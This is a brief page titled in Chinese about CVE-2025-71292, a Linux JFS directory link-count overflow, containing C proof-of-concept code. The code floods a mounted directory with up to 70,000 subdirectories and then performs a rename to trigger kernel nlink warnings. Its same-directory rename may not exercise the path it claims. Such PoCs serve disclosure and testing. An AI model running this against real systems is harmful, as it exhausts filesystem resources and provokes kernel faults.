CVE-2025-71292 Linux内核JFS文件系统链接数溢出漏洞

/* * PoC for CVE-2025-71292: JFS nlink overflow in jfs_rename * This code attempts to trigger the nlink overflow warning by saturating * a directory's subdirectory count and performing a rename. * Note: Running this requires a mounted JFS filesystem and sufficient permissions/inodes. */ #include <stdio.h> #include <stdlib.h> #include <sys/stat.h> #include <sys/types.h> #include <unistd.h> #include <errno.h> #include <string.h> #define DIR_PATH "/mnt/jfs_test_target" #define SUBDIR_PREFIX "subdir_" // Typical nlink limit for directories is 65535, but this depends on the kernel/fs implementation. #define MAX_ATTEMPTS 70000 int main() { int i; char path[256]; struct stat st; printf("[*] Starting PoC for CVE-2025-71292\n"); // Ensure target directory exists if (stat(DIR_PATH, &st) != 0) { if (mkdir(DIR_PATH, 0777) != 0) { perror("mkdir"); return 1; } } printf("[*] Creating subdirectories to saturate nlink...\n"); // Step 1: Create subdirectories until nlink overflows or limit reached for (i = 0; i < MAX_ATTEMPTS; i++) { snprintf(path, sizeof(path), "%s/%s%d", DIR_PATH, SUBDIR_PREFIX, i); if (mkdir(path, 0777) != 0) { if (errno == EMLINK) { printf("[+] Hit EMLINK error at %d. nlink is likely saturated.\n", i); break; } // Other errors like ENOSPC can also stop it perror("mkdir"); break; } } // Check current nlink of parent if (stat(DIR_PATH, &st) == 0) { printf("[*] Parent directory nlink count: %lu\n", (unsigned long)st.st_nlink); } printf("[*] Attempting rename operation to trigger overflow logic...\n"); // Step 2: Rename a directory inside the parent to trigger inc/dec nlink logic char old_path[512], new_path[512]; snprintf(old_path, sizeof(old_path), "%s/%s0", DIR_PATH, SUBDIR_PREFIX); snprintf(new_path, sizeof(new_path), "%s/%s_renamed", DIR_PATH, SUBDIR_PREFIX); if (rename(old_path, new_path) == 0) { printf("[*] Rename successful. Check 'dmesg' for kernel warnings regarding nlink.\n"); } else { perror("rename"); printf("[-] Rename failed.\n"); } return 0; }